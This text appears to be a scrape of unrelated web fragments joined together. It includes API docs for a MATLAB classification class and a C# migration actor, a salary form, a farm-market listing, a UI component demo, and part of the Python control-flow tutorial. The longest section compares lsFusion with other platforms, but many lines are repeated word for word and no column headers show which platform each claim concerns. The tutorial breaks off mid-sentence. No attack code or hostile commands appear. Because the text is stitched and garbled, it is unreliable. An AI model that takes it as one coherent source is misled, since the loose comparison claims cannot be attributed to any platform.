|
MasterScan
Lab_Matlab_control Master Branch
|
Represents data as points in space, for classification.
topsClassification takes in data samples from multiple sources and outputs arbitrary values. It maps samples to outputs by way of a spatial model: each data source maps to a spatial dimension, each sample maps to a value along one dimension, and a set of samples maps to a point in space. Regions in the space map to arbitrary outputs, so the region in which a point falls determines the output for a sample set.
The spatial model is backed up by a high-dimensional matrix. Picking a point in space boils down to indexing into the matrix. The key is to convert arbitrary data samples into matrix indices.
Properties and Events | |
| Property | defaultOutput = [] |
| default output when no other output is defined | |
| Property | defaultOutputName = 'default' |
| name to give to the default output | |
| Properties and Events inherited from topsFoundation | |
| Property | name = '' |
| a string name to indentify the object | |
| Property | clockFunction =@topsClock |
| clock function, to standardize | |
Protected Properties | |
| sources | |
| struct array of data sources and descriptions | |
| Property | space |
| topsSpace with spatial modeling utilities | |
| outputs | |
| struct array of spatial regions and outputs | |
| Property | outputTable |
| high-dimensional matrix for looking up output | |
Methods | |
| self | topsClassification (varargin) |
| Constuct with name optional. More... | |
| fig | gui (self) |
| Open a GUI to view object details. More... | |
| index | addSource (self, name, sampleFunction, minimum, maximum, nPoints) |
| Add a data source. More... | |
| index | removeSource (self, name) |
| Remove a data source by name. More... | |
| index | addOutput (self, name, region, value) |
| Add a classification output. More... | |
| index | removeOutput (self, name) |
| Remove a classification output by name. More... | |
| index | editOutputValue (self, name, value) |
| Change the value mapped from an existing output. More... | |
| updateSamples (self) | |
| Update source samples. More... | |
| value name | getOutput (self, doUpdate) |
| Get the current classification output. More... | |
| Methods inherited from topsFoundation | |
| self | topsFoundation (name) |
| Constuct with name optional. More... | |
| fig | gui (self) |
| Open a GUI to view object details. More... | |
| p | guiPanel (self, varargin) |
| Make a topsDetailPanel with details about this object. More... | |
Protected Methods | |
| buildSpace (self) | |
| Rebuild the data space. More... | |
| clearOutputs (self) | |
| Clear out the outputTable lookuptable. | |
| buildOutputTable (self) | |
| Rebuild the outputTable lookuptable. | |
Additional Inherited Members | |
| Static Methods inherited from topsFoundation | |
| static c index | cellAdd (c, item, index) |
| Add an item to a cell array. More... | |
| static selector | cellContains (c, item) |
| Does a cell array conatin an item? More... | |
| static c | cellRemoveItem (c, item) |
| Remove an item from a cell array. More... | |
| static c | cellRemoveElement (c, index) |
| Remove indexed elements from a cell array. More... | |
| static index selector | findStructName (s, name) |
| Where is the given name in the given struct array? More... | |
| self topsClassification | ( | varargin | ) |
Constuct with name optional.
| name | optional name for this object |
If name is provided, assigns name to this object.
| fig gui | ( | self | ) |
Open a GUI to view object details.
Opens a new GUI with components suitable for viewing objects of this class. Returns a topsFigure object which contains the GUI.
| index addSource | ( | self | , |
| name | , | ||
| sampleFunction | , | ||
| minimum | , | ||
| maximum | , | ||
| nPoints | |||
| ) |
Add a data source.
| name | unique name for the data source |
| sampleFunction | function_handle that returns a sample |
| minimum | minimum sample value to expect |
| maximum | maximum sample value to expect |
| nPoints | points to use between minumum and maximum |
Adds a data source to be included in classification. name must be unique so that the source can be referred to later by name. Any existing source with the same name will be replaced. This will invalidate existing outputs, because it changes the spatial model.
sampleFunction must be function handle, and the function should return a scalar, numeric sample value for the named source.
minimum and maximum must be the minumum and maximum expected sample values from the named source. nPoints must be the number of points to space evenly between minimum and maximum. minimum, maximum, and nPoints are used to convert raw sample values into high-dimensional matrix indices.
Returns the intex into sources where the source was inserted or appended.
| index removeSource | ( | self | , |
| name | |||
| ) |
Remove a data source by name.
| name | unique name of a data source |
Removes the named data source. This will invalidate existing outputs, because it changes the spatial model.
Returns the index into sources where the named source was removed, or [] if no source was found.
| index addOutput | ( | self | , |
| name | , | ||
| region | , | ||
| value | |||
| ) |
Add a classification output.
| name | unique name for the output |
| region | topsRegion spatial region that maps to the output |
| value | output value mapped from region |
Adds an output value that can be returned as a classification result. region must be a topsRegion object specifying the region of the spatial model that should map to value. name must be a unique name for this region-value pair.
If multiple output regions overlap, those that were added later take presidence.
Returns the index into outputs where the named output was inserted or appended.
| index removeOutput | ( | self | , |
| name | |||
| ) |
Remove a classification output by name.
| name | unique name of a classification output |
Removes the named output from classification. Returns the index into outputs where the named output was removed, or [] if no output was found.
| index editOutputValue | ( | self | , |
| name | , | ||
| value | |||
| ) |
Change the value mapped from an existing output.
| name | unique name of a classification output |
| value | new value for the named output |
Change the output value associated with the given name. The spatial region associated with name remians the same, but the value, as returned from getOutput() is replaced with the new value.
Returns the index into outputs where the named value was changed, or [] if no output was found.
| updateSamples | ( | self | ) |
Update source samples.
Retrieves new samples for each data source, using the sampleFunction provided for each source in addSource().
| value name getOutput | ( | self | , |
| doUpdate | |||
| ) |
Get the current classification output.
| doUpdate | optional, whether invoke updateSamples() first |
Uses the current sample value of all sources to locate a point in the spatial model and return the associated output value. Returns as a second output the name of the output. By default, invokes updateSamples() to refresh source sample values. if doUpdate is provided and false, leaves source samples as they are.
|
protected |
Rebuild the data space.
Invalidate now-stale outputs and reallocate the outputTable.


All salary details will be given here
Please fill the following fields
UID
january
feburary
march
april
may
june
july
august
september
october
november
december


|
KlusterKite
0.0.0
A framework to create scalable and redundant services based on awesome Akka.Net project.
|
The actor responsible for non-code cluster migrations and updates More...
Classes | |
| class | Data |
| The current data More... | |
Public Types | |
| enum | EnState { EnState.Idle, EnState.Migration, EnState.InitializationFailed } |
| The state of migration More... | |
Public Member Functions | |
| MigrationActor (UniversalContextFactory contextFactory, IPackageRepository nugetRepository) | |
| Initializes a new instance of the MigrationActor class. More... | |
Static Public Member Functions | |
| static IEnumerable< MigratorTemplateMigrationState > | CreateMigrationState (IReadOnlyCollection< MigratorTemplateConfigurationState > sourceMigratorTemplateStates, IReadOnlyCollection< MigratorTemplateConfigurationState > destinationMigratorTemplateStates) |
| Creates migration state from configuration states More... | |
Protected Member Functions | |
| override void | PreStart () |
Properties | |
| virtual IActorRef | Parent [get] |
| Gets the parent actor to notify of action complete More... | |
The actor responsible for non-code cluster migrations and updates
Definition at line 42 of file MigrationActor.cs.
|
strong |
The state of migration
| Enumerator | |
|---|---|
| Idle | There is no migration in process |
| Migration | There is migration in process |
| InitializationFailed | The state checked failed |
Definition at line 100 of file MigrationActor.cs.
| KlusterKite.NodeManager.MigrationActor.MigrationActor | ( | UniversalContextFactory | contextFactory, |
| IPackageRepository | nugetRepository | ||
| ) |
Initializes a new instance of the MigrationActor class.
| contextFactory | The context Factory. |
| nugetRepository | The nuget Repository. |
Definition at line 84 of file MigrationActor.cs.
|
static |
Creates migration state from configuration states
| sourceMigratorTemplateStates | The resource state according to source configuration |
| destinationMigratorTemplateStates | The resource state according to destination configuration |
Definition at line 129 of file MigrationActor.cs.
|
protected |
Definition at line 175 of file MigrationActor.cs.
|
getprotected |
Gets the parent actor to notify of action complete
Definition at line 121 of file MigrationActor.cs.


Clone the next block and ignore this paragraph which has the `clone-ignore` class.
Hello.
Clone the whole HTML page but ignore this paragraph which has the `clone-ignore` class.
Test paragraph


Serving greater Ft. Lauderdale
Mon-Sat 9-5pm
Everything for the Garden!
Bulk order Bio-mass
Seed, Amendments, Supplies
The largest source in Dade County
Saturday Market, 7:00am
Saturday, Sunday
Weekdayday Market, 10-2pm
Farmers Market - Sunday
Saturday Market, 7:00am
Saturday, Sunday
Weekdayday Market, 10-2pm
Farmers Market - Sunday
Honey and Apiary Supply - Saturdays, 10-6pm
Fresh Raw
Apiary Supply in Dade County
M-F 7-3pm, Sat 10-12
Fresh, Raw, Local and SWEET
Water Buffalo
Milk and Cheese
Breeding and services
Water Buffalo
Milk and Cheese
Breeding and services
Jeffers Family
4th generation ranchers
Holsteins and Longhorns
Hoof and Hoop
Veggies in season
Year-round
7 Days, 8am-6pm
Naples Family Farm
4th generation ORGANIC
Tomatoes
Tropicals
Trees and Shrubs
Year-round
Mon/Wed 8am-6pm
Nursery Farm
STRICTLY ORGANIC
A to Z
Tropicals
In our Neighborhood!
Sharing Food Security
Toward Sustainability
Vegetable Garden
Pumpkin Pie
www.mygardengroup.org


Number of clusters:{{cluster.nClusters}}
Input file: {{cluster.input}}
Number of entries: {{cluster.rows}}
Number of dimensions: {{cluster.columns}}


The rapid growth of the Internet in the mid-1990s was the next major historic event in programming languages. By opening up a radically new platform for computer systems, the Internet created an opportunity for new languages to be adopted. In particular, the JavaScript programming language rose to popularity because of its early integration with the Netscape Navigator web browser. >>>


==
SAP supports both development styles: SQL by default and ORM for specific tasks (since it's less convenient in most cases).
SAP supports both development styles: SQL by default and ORM for specific tasks (since it's less convenient in most cases).
The platform is free from the object-relational semantic gap, so developers don't need to constantly choose between "rapid" SQL queries and a "convenient" imperative language. Both of these approaches are almost fully abstracted and united. Each developer always works with data using a single paradigm, while the platform takes care of how and where to do all the remaining work.
Although 4GL languages (ABAP, C #, Foxpro, etc.) provide native support for SQL, they still operate with concepts from relational algebra such as tables, groups, joins, etc.
Although 4GL languages (ABAP, C #, Foxpro, etc.) provide native support for SQL, they still operate with concepts from relational algebra such as tables, groups, joins, etc.
Although 4GL languages (ABAP, C #, Foxpro, etc.) provide native support for SQL, they still operate with concepts from relational algebra such as tables, groups, joins, etc.
Although 4GL languages (ABAP, C #, Foxpro, etc.) provide native support for SQL, they still operate with concepts from relational algebra such as tables, groups, joins, etc.
Although 4GL languages (ABAP, C #, Foxpro, etc.) provide native support for SQL, they still operate with concepts from relational algebra such as tables, groups, joins, etc.
Although 4GL languages (ABAP, C #, Foxpro, etc.) provide native support for SQL, they still operate with concepts from relational algebra such as tables, groups, joins, etc.
Although 4GL languages (ABAP, C #, Foxpro, etc.) provide native support for SQL, they still operate with concepts from relational algebra such as tables, groups, joins, etc.
The platform doesn't split the user interface into interactive forms and reports. Any form can contain both primary and calculated data and can be displayed in a print (like a classic report) or interactive (editable) view. Accordingly, users can not only see the data they need to make a decision, but also immediately enter the decision they've made through the same UI.
The platform doesn't split business logic into server and client sides, which allows developers to request modal interaction with the user at any time. When this happens, the platform automatically pauses the current action, sends a request to the user, and resumes the action as soon as a response is received.
When a certain action requires data processing for many objects at once, the platform tries, whenever possible, to perform this processing on the database server through a single request (i.e. for all objects at once). In this case, all of the queries generated are optimized as much as possible depending on the features of the database server.
The platform allows you to create event handlers for any changes in any data (even computed data). This mechanism can significantly increase the modularity of the solutions created.
Triggers (events) only for data materialized in a single table (class).
Triggers (events) only for data materialized in a single table (class).
Triggers (events) only for data materialized in a single table (class).
Triggers (events) only for data materialized in a single table (class).
Triggers (events) only for data materialized in a single table (class).
Triggers (events) only for data materialized in a single table (class).
The platform allows you to materialize any existing indicators in the system at any time, add new tables or delete existing ones, or change the location of materialized indicators in these tables.
There is no transparent data materialization - only objects and their fields can be mapped to tables with a single key (i.e. you can only handle tables with two or more keys directly through SQL).
There is no transparent data materialization - only objects and their fields can be mapped to tables with a single key (i.e. you can only handle tables with two or more keys directly through SQL).
There is no transparent data materialization - only objects and their fields can be mapped to tables with one or two keys (i.e. you can only handle tables with three or more keys directly through SQL)
The platform allows you to create constraints for the values of any data (even computed data), and all such constraints (as with events) are global, so inexperienced users or developers cannot bypass them with an invalid transaction.
Constraints only for formulas involving data materialized in a single table
Constraints only for formulas involving data materialized in a single table
All computed data is automatically updated once the data it uses is changed.
In the UI for special cases involving input data.
In the UI for special cases involving input data.
In the UI for special cases involving input data.
There are some reactive elements in the materialized (indexed) view mechanism.
There are some reactive elements in the materialized (indexed) view mechanism.
In the UI for special cases involving input data.
In the UI for special cases involving input data.
Supports any OS for which JVM is implemented, as well as the most popular relational databases.
No optimizers for adapting queries to the features of specific databases (e.g. lack of certain optimizations in free databases such as predicate push-down, various handlings for custom aggregate functions and recursions, etc.). In fact, all of these platforms are simply translators into the corresponding syntax.
No optimizers for adapting queries to the features of specific databases (e.g. lack of certain optimizations in free databases such as predicate push-down, various handlings for custom aggregate functions and recursions, etc.). In fact, all of these platforms are simply translators into the corresponding syntax.
No optimizers for adapting queries to the features of specific databases (e.g. lack of certain optimizations in free databases such as predicate push-down, various handlings for custom aggregate functions and recursions, etc.). In fact, all of these platforms are simply translators into the corresponding syntax.
No optimizers for adapting queries to the features of specific databases (e.g. lack of certain optimizations in free databases such as predicate push-down, various handlings for custom aggregate functions and recursions, etc.). In fact, all of these platforms are simply translators into the corresponding syntax.
The mapping of logic to the database is absolutely transparent, and developers can manage this process on their own. Forget about auto generated names and surrogate tables.
The platform supports both desktop and Web clients with any OS for which JVM implementations are available. And since relative (rather than absolute) positioning is used for the components, they are rendered in the Web client natively using CSS (without JavaScript), which significantly increases UI responsiveness in the Web client. In addition, neither the desktop nor the Web client contain any application logic, which greatly simplifies their deployment (i.e. you can use the same client for any logic).
It depends on the specific UI. However, using the desktop and Web versions simultaneously is not supported.
It depends on the specific UI. However, using the desktop and Web versions simultaneously is not supported.
It depends on the specific UI. However, using the desktop and Web versions simultaneously is not supported.
Any form can be shown to the user interactively or printed out or exported in most popular data formats (JSON, XML, CSV, XLS, DBF, etc.). This operation is symmetrical - you can also import data from a file to a form in any of these formats. Both processes are absolutely declarative and use the same concepts as the UI, which greatly simplifies interaction with external systems.
Handling of external formats is strictly imperative (with small signs of declarativeness in certain mechanisms such as those for handling XML for remote calls in Web services using WSDL) and is performed in a separate paradigm (unrelated to the UI).
Handling of external formats is strictly imperative (with small signs of declarativeness in certain mechanisms such as those for handling XML for remote calls in Web services using WSDL) and is performed in a separate paradigm (unrelated to the UI).
Handling of external formats is strictly imperative (with small signs of declarativeness in certain mechanisms such as those for handling XML for remote calls in Web services using WSDL) and is performed in a separate paradigm (unrelated to the UI).
Handling of external formats is strictly imperative (with small signs of declarativeness in certain mechanisms such as those for handling XML for remote calls in Web services using WSDL) and is performed in a separate paradigm (unrelated to the UI).
Handling of external formats is strictly imperative (with small signs of declarativeness in certain mechanisms such as those for handling XML for remote calls in Web services using WSDL) and is performed in a separate paradigm (unrelated to the UI).
Handling of hierarchical formats (JSON and XML) is usually declarative, but is performed in a separate paradigm (unrelated to the UI).
Handling of external formats is strictly imperative (with small signs of declarativeness in certain mechanisms such as those for handling XML for remote calls in Web services using WSDL) and is performed in a separate paradigm (unrelated to the UI).
Handling of external formats is strictly imperative (with small signs of declarativeness in certain mechanisms such as those for handling XML for remote calls in Web services using WSDL) and is performed in a separate paradigm (unrelated to the UI).
Client-server communication at the physical level minimizes synchronous round-trip calls (i.e. each user action leads to a single - usually asynchronous - request/response pair). The desktop client also archives and encrypts all transferred data (when necessary). During client-server communication (via TCP/IP for the desktop client or HTTP for the Web client), the platform provides guarantee of delivery - it resends any lost requests and ensures that they are processed in the correct order. All these features help the platform run efficiently even on low-bandwidth, unstable, or high-latency communication channels.
The platform supports access to the system through the most common general-purpose application protocol (HTTP), while the access interface can execute not only certain actions (with automatic parsing of arguments), but also lsFusion code (as when accessing SQL servers). In addition, the platform supports access to any external systems at the language level via HTTP, as well as SQL servers, other lsFusion systems, etc. And, since the server itself is implemented as a Spring bean, you can manage its life cycle using a standard Spring IoC container. All these features allow you to use lsFusion not only as a full-fledged development platform, but also as a database or even a Java library.
No code execution (as in SQL servers). All communications are performed either through HTTP without parsing any arguments or through WSDL (XML) with parsing arguments. Cannot be loaded as a library.
No code execution (as in SQL servers). All communications are performed either through HTTP without parsing any arguments or through WSDL (XML) with parsing arguments. Cannot be loaded as a library.
No code execution (as in SQL servers). All communications are performed either through HTTP without parsing any arguments or through WSDL (XML) with parsing arguments. Cannot be loaded as a library.
Cannot be loaded as a library.
Cannot be loaded as a library.
Code execution (as in SQL servers) is not supported.
The platform can properly roll back the application server to the state it was in before any data transaction had begun. This allows you to use the native integrity tools of modern SQL servers, which not only significantly reduces labor costs and human error when developing a system for a highly concurrent environment, but also makes such a system much more scalable (provided that versioning databases are used).
The application server runs on a Java virtual machine (JVM) and can thus be integrated with countless Java libraries. To do this, just create your own action in Java, register it in the platform, and then use it just like any action built into the platform or written on the platform's built-in language. Accordingly, you can seamlessly connect custom SQL functions of the database server you're using.
All elements of the system, from events to form design, are written in the lsFusion language and stored in ordinary text files (without any shared repositories with an unknown structure). This allows you to use popular version control systems (Git, Subversion) and project-building tools (Maven in IDEs) when working with projects. In addition, this approach simplifies the support and deployment of the system you develop - you can use an ordinary text editor to view and quickly modify the logic when necessary and also easily identify any element in the system by file name and line number in this file.
Forms and other metadata (tables, ledgers, etc.) are usually created interactively and stored in binary form in a shared repository or file (data export is possible, but not in formats that allow convenient editing/viewing such as XML).
Forms and other metadata (tables, ledgers, etc.) are usually created interactively and stored in binary form in a shared repository or file (data export is possible, but not in formats that allow convenient editing/viewing such as XML).
Forms and other metadata (tables, ledgers, etc.) are usually created interactively and stored in binary form in a shared repository or file (data export is possible, but not in formats that allow convenient editing/viewing such as XML).
Basically, the database theoretically allows you to work with the database's structure as with code - you can create scripts marked "CREATE OR REPLACE" and/or with versions and ADD/DELETE commands, then remember the previous version of the database to deploy or roll back changes between these versions, but by default this is not part of the database itself and should be organized directly by developers.
Basically, the database theoretically allows you to work with the database's structure as with code - you can create scripts marked "CREATE OR REPLACE" and/or with versions and ADD/DELETE commands, then remember the previous version of the database to deploy or roll back changes between these versions, but by default this is not part of the database itself and should be organized directly by developers.
The platform allows you to group element names into namespaces and consider names in the same namespace as having higher priority when searching for elements. In most cases, you only need to enter the "short" name of the element you're searching for and eventually write more concise and readable code. In addition, you can specify a class for each parameter in the code, and this class will also be taken into account during a search (i.e. explicit types are supported). This also makes your code shorter and simpler and ensures early error detection, smart auto-completion, and lots of other useful features.
The databases support namespaces, but do not support explicit typing (because they work with tables rather than functions, i.e. they do not support any parameters at all).
The databases support namespaces, but do not support explicit typing (because they work with tables rather than functions, i.e. they do not support any parameters at all).
Intellij IDEA-based IDE with everything developers could ever need: search for uses, code/error highlighting, smart auto-completion, go to declarations, class structure, renaming of elements, usage tree, data change breakpoints, debuggers, and more.
In general, two different specialized IDEs are used (one for the client and one for the database server), so no calls between the server and client are supported at all (i.e. they are not visible in uses, renaming, etc.).
In general, two different specialized IDEs are used (one for the client and one for the database server), so no calls between the server and client are supported at all (i.e. they are not visible in uses, renaming, etc.).
Do you want to create your own high-level operator, or maybe you just don't know how to generalize the logic, but want to reuse it? The platform provides full support for automatic code generation, from both the server side and IDE.
The platform executes the imperative part of the system logic (i.e. everything related to data changes) on application servers and the declarative part (i.e. everything related to data calculations) on database servers. This separation simplifies the scaling of the system you develop and strengthens its fault tolerance due to the different nature of workload on these servers (e.g. using swap on an application server is much more dangerous than on a database server).
Technically, the third tier (application server) is implemented by either the Web client or the database server.
Technically, the third tier (application server) is implemented by either the Web client or the database server.
Since the application servers don't have any shared data, you can easily add as many of them as you need. In addition, the platform can transfer user data between database servers asynchronously, which, in turn, allows you to dynamically distribute the workload among them (e.g. when you add data to the database and need to use ACID, you can switch this processing to the master server or [in other cases] to the least busy slave servers).
In addition to the database, yet another bottleneck and a potential point of failure is the lock manager, which also makes clustering harder.
In addition to the database, yet another bottleneck and a potential point of failure is the lock manager, which also makes clustering harder.
In addition to the database, yet another bottleneck and a potential point of failure is the lock manager, which also makes clustering harder.
The extension technique allows developers to extend the functionality of one module in another (e.g. they can modify forms or classes created in another module). This mechanism makes the solutions you create much more modular.
Only procedures and forms are expandable. The mechanism itself is all about customization rather than modularity (i.e. the mechanism is based on a solution and one of its extensions, but not on the graph of modules).
The platform tries, whenever possible, to perform all operations asynchronously (i.e. return control to the user before the operation completes), including most input operations and handling of local events.
The platform supports inheritance (including multiple inheritance) and polymorphism (including multiple polymorphism). And, if inheritance isn't enough for you for whatever reason, the platform also provides an aggregation mechanism that, together with inheritance, allows you to implement almost any polymorphic logic.
Only single inheritance of tables (object classes) and single polymorphism are supported.
Only single inheritance of tables (object classes) and single polymorphism are supported.
Only single inheritance of tables (object classes) and single polymorphism are supported.
Only single inheritance of tables (object classes) and single polymorphism are supported.
Only single inheritance of tables (object classes) and single polymorphism are supported.
In almost all cases, the user gets lots of features right out of the box, including quick editing of any visible data and any visible objects (bulk editing), copy and paste (e.g. to/from Excel), merging/canceling/saving changes, and other WYSIWYG features.
Within any string literal (e.g. an element title or string constant) the platform allows the use of IDs (in brackets) to which you can then assign different texts for different languages. Accordingly, when accessing this literal, the platform automatically localizes it depending on the language settings of the target user.
The platform allows users to change any previously-entered data (e.g. to fix input errors) and only updates the data that is actually needed without thousands of related reversal operations, long reposting, or global database locks. In addition, the platform allows the simultaneous editing of the same data (e.g. the same document), which is useful for teamwork and rapidly inputting large amounts of data.
You have to re-post the whole document, which is inefficient and can violate multiple contracts/constraints. This approach is therefore not used in the latest solutions (it is implemented manually). For example, there is no simultaneous input of documents either.
The platform provides a complete set of administration tools for systems that are already running: interpreter (executes lsFusion code), process monitor (receives detailed information about processes that are running, e.g. call start time, stack, user, etc.), scheduler (executes periodic or scheduled actions), profiler (measures the performance of all actions executed for all/given users, e.g. builds a graph of calls, sharing time between the application server and the database server, etc.), messenger (for internal notifications/communication with users in the system), and numerous logs (connections, errors, etc.).
When interacting with a user, the platform can display any data not only as individual objects and lists, but also as trees, both flat ("nested") and recursive (e.g. classifiers). In addition, the platform allows you to group various form blocks into folders (tabs) for structuring large quantities of data. When the data is not visible to the user, it is not read/calculated (e.g. all lists are dynamic by default, i.e. only a limited number of objects are read initially, while the rest of them are read as the current object in the table is changed).
Trees are only recursive and only for explicit (not computed) hierarchies. Dynamic lists are implemented manually by writing special queries.
Trees are only recursive and only for explicit (not computed) hierarchies. Dynamic lists are implemented manually by writing special queries.
Trees are only recursive and only for explicit (not computed) hierarchies. Dynamic lists are implemented manually by writing special queries.
Trees are only recursive and only for explicit (not computed) hierarchies. Dynamic lists are implemented manually by writing special queries.
A flexible security policy allows you to define data access restrictions for both individual forms and specific actions/indicators. Then users won't be able to see this data or even know that it exists.
The open source code of the platform and IDE allows developers to study the internal mechanisms of the platform independently, create pull requests or custom builds, and license their own solutions for use in case of strict security requirements.
Users can customize any form, e.g. add custom selections and sorting rules or add/remove/reorder columns, and also perform basic analysis such as grouping visible data or calculating sums/maximums and other aggregated indicators. In addition to the UI settings, users can also add logging, fill-in control, or notifications about any data changes (including calculated data).
Only basic UI settings (design, selections, ordering) are supported.
Only basic UI settings (design, selections, ordering) are supported.
Only basic UI settings (design, selections, ordering) are supported.
Only basic UI settings (design, selections, ordering) are supported.
The platform is licensed under LGPL v3, which allows you to freely use, distribute, and modify the platform as you wish.


Hello, I'm a nifty alert.
Click Me
Card TitleCard Image
Card Content
Card Button
This is some content for Expander 1
This is some content for Expander 2
Hero PretitleHero TitleHero SubtitleJust some copy for the hero content.Hero Button
This is some modal content. Yay.
Panel TitleJust a little bit of panel contentPanel Button
Slider content 1
Slider content 2
Slider content 3


Besides the
while
statement just introduced, Python uses the usual flow control statements
known from other languages, with some twists.
if
Statements¶
Perhaps the most well-known statement type is the
if
statement. For example:
>>> x = int(input("Please enter an integer: "))
Please enter an integer: 42
>>> if x < 0:
... x = 0
... print('Negative changed to zero')
... elif x == 0:
... print('Zero')
... elif x == 1:
... print('Single')
... else:
... print('More')
...
More
There can be zero or more
elif
parts, and the
else
part is optional. The keyword ‘elif
’ is short for ‘else if’,
and is useful to avoid excessive indentation. An if
…
elif
… elif
… sequence is a substitute for the
switch
or case
statements found in other
languages.
for
Statements¶
The
for
statement in Python differs a bit from what you may be used to in C or
Pascal. Rather than always iterating over an arithmetic progression of
numbers (like in Pascal), or giving the user the ability to define both
the iteration step and halting condition (as C), Python’s
for
statement iterates over the items of any sequence (a list
or a string), in the order that they appear in the sequence. For example
(no pun intended):
>>> # Measure some strings:
... words = ['cat', 'window', 'defenestrate']
>>> for w in words:
... print(w, len(w))
...
cat 3
window 6
defenestrate 12
Code that modifies a collection while iterating over that same collection can be tricky to get right. Instead, it is usually more straight-forward to loop over a copy of the collection or to create a new collection:
# Strategy: Iterate over a copy
for user, status in users.copy().items():
if status == 'inactive':
del users[user]
# Strategy: Create a new collection
active_users = {}
for user, status in users.items():
if status == 'active':
active_users[user] = status
range()
Function¶
If you do need to iterate over a sequence of numbers, the built-in
function
range()
comes in handy. It generates arithmetic progressions:
>>> for i in range(5):
... print(i)
...
0
1
2
3
4
The given end point is never part of the generated sequence;
range(10)
generates 10 values, the legal indices for items of
a sequence of length 10. It is possible to let the range start at another
number, or to specify a different increment (even negative; sometimes this
is called the ‘step’):
range(5, 10)
5, 6, 7, 8, 9
range(0, 10, 3)
0, 3, 6, 9
range(-10, -100, -30)
-10, -40, -70
To iterate over the indices of a sequence, you can combine
range()
and
len()
as follows:
>>> a = ['Mary', 'had', 'a', 'little', 'lamb']
>>> for i in range(len(a)):
... print(i, a[i])
...
0 Mary
1 had
2 a
3 little
4 lamb
In most such cases, however, it is convenient to use the
enumerate()
function, see
Looping Techniques.
A strange thing happens if you just print a range:
>>> print(range(10))
range(0, 10)
In many ways the object returned by
range()
behaves as if it is a list, but in fact it isn’t. It is an object which
returns the successive items of the desired sequence when you iterate over
it, but it doesn’t really make the list, thus saving space.
We say such an object is
iterable, that is, suitable as a target for functions and constructs that expect
something from which they can obtain successive items until the supply is
exhausted. We have seen that the
for
statement is such a construct, while an example of a function that takes
an iterable is
sum()
:
>>> sum(range(4)) # 0 + 1 + 2 + 3
6
Later we will see more functions that return iterables and take iterables as arguments. Lastly, maybe you are curious about how to get a list from a range. Here is the solution:
>>> list(range(4))
[0, 1, 2, 3]
In chapter
Data Structures, we will discuss in more detail about
list()
.
break
and
continue
Statements, and else
Clauses on Loops¶
The
break
statement, like in C, breaks out of the innermost enclosing
for
or
while
loop.
Loop statements may have an else
clause; it is executed when
the loop terminates through exhaustion of the iterable (with
for
) or when the condition becomes false (with
while
), but not when the loop is terminated by a
break
statement. This is exemplified by the following loop, which searches for
prime numbers:
>>> for n in range(2, 10):
... for x in range(2, n):
... if n % x == 0:
... print(n, 'equals', x, '*', n//x)
... break
... else:
... # loop fell through without finding a factor
... print(n, 'is a prime number')
...
2 is a prime number
3 is a prime number
4 equals 2 * 2
5 is a prime number
6 equals 2 * 3
7 is a prime number
8 equals 2 * 4
9 equals 3 * 3
(Yes, this is the correct code. Look closely: the else
clause
belongs to the
for
loop, not the
if
statement.)
When used with a loop, the else
clause has more in common
with the else
clause of a
try
statement than it does with that of
if
statements: a
try
statement’s else
clause runs when no exception occurs, and a
loop’s else
clause runs when no break
occurs.
For more on the try
statement and exceptions, see
Handling Exceptions.
The
continue
statement, also borrowed from C, continues with the next iteration of the
loop:
>>> for num in range(2, 10):
... if num % 2 == 0:
... print("Found an even number", num)
... continue
... print("Found an odd number", num)
...
Found an even number 2
Found an odd number 3
Found an even number 4
Found an odd number 5
Found an even number 6
Found an odd number 7
Found an even number 8
Found an odd number 9
pass
Statements¶
The
pass
statement does nothing. It can be used when a statement is required
syntactically but the program requires no action. For example:
>>> while True:
... pass # Busy-wait for keyboard interrupt (Ctrl+C)
...
This is commonly used for creating minimal classes:
>>> class MyEmptyClass:
... pass
...
Another place
pass
can be used is as a place-holder for a function or conditional body when
you are working on new code, allowing you to keep thinking at a more
abstract level. The pass
is silently ignored:
>>> def initlog(*args):
... pass # Remember to implement this!
...
We can create a function that writes the Fibonacci series to an arbitrary boundary:
>>> def fib(n): # write Fibonacci series up to n
... """Print a Fibonacci series up to n."""
... a, b = 0, 1
... while a < n:
... print(a, end=' ')
... a, b = b, a+b
... print()
...
>>> # Now call the function we just defined:
... fib(2000)
0 1 1 2 3 5 8 13 21 34 55 89 144 233 377<PHONE_NUMBER>
The keyword
def
introduces a function definition. It must be followed by the
function name and the parenthesized list of formal parameters. The
statements that form the body of the function start at the next line, and
must be indented.
The first statement of the function body can optionally be a string literal; this string literal is the function’s documentation string, or docstring. (More about docstrings can be found in the section Documentation Strings.) There are tools which use docstrings to automatically produce online or printed documentation, or to let the user interactively browse through code; it’s good practice to include docstrings in code that you write, so make a habit of it.
The execution of a function introduces a new symbol table used
for the local variables of the function. More precisely, all variable
assignments in a function store the value in the local symbol table;
whereas variable references first look in the local symbol table, then in
the local symbol tables of enclosing functions, then in the global symbol
table, and finally in the table of built-in names. Thus, global variables
and variables of enclosing functions cannot be directly assigned a value
within a function (unless, for global variables, named in a
global
statement, or, for variables of enclosing functions, named in a
nonlocal
statement), although they may be referenced.
The actual parameters (arguments) to a function call are introduced in the local symbol table of the called function when it is called; thus, arguments are passed using call by value (where the value is always an object reference, not the value of the object). 1 When a function calls another function, or calls itself recursively, a new local symbol table is created for that call.
A function definition associates the function name with the function object in the current symbol table. The interpreter recognizes the object pointed to by that name as a user-defined function. Other names can also point to that same function object and can also be used to access the function:
>>> fib
<function fib at 10042ed0>
>>> f = fib
>>> f(100)
0 1 1 2 3 5 8 13 21 34 55 89
Coming from other languages, you might object that fib
is not
a function but a procedure since it doesn’t return a value. In fact, even
functions without a
return
statement do return a value, albeit a rather boring one. This value is
called None
(it’s a built-in name). Writing the value
None
is normally suppressed by the interpreter if it would be
the only value written. You can see it if you really want to using
print()
:
>>> fib(0)
>>> print(fib(0))
None
It is simple to write a function that returns a list of the numbers of the Fibonacci series, instead of printing it:
>>> def fib2(n): # return Fibonacci series up to n
... """Return a list containing the Fibonacci series up to n."""
... result = []
... a, b = 0, 1
... while a < n:
... result.append(a) # see below
... a, b = b, a+b
... return result
...
>>> f100 = fib2(100) # call it
>>> f100 # write the result
[0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89]
This example, as usual, demonstrates some new Python features:
The
return
statement returns with a value from a function.
return
without an expression argument returns
None
. Falling off the end of a function also returns
None
.
The statement result.append(a)
calls a method of
the list object result
. A method is a function that
‘belongs’ to an object and is named obj.methodname
, where
obj
is some object (this may be an expression), and
methodname
is the name of a method that is defined by the
object’s type. Different types define different methods. Methods of
different types may have the same name without causing ambiguity. (It
is possible to define your own object types and methods, using
classes, see
Classes) The method append()
shown in the example is defined
for list objects; it adds a new element at the end of the list. In
this example it is equivalent to result = result + [a]
,
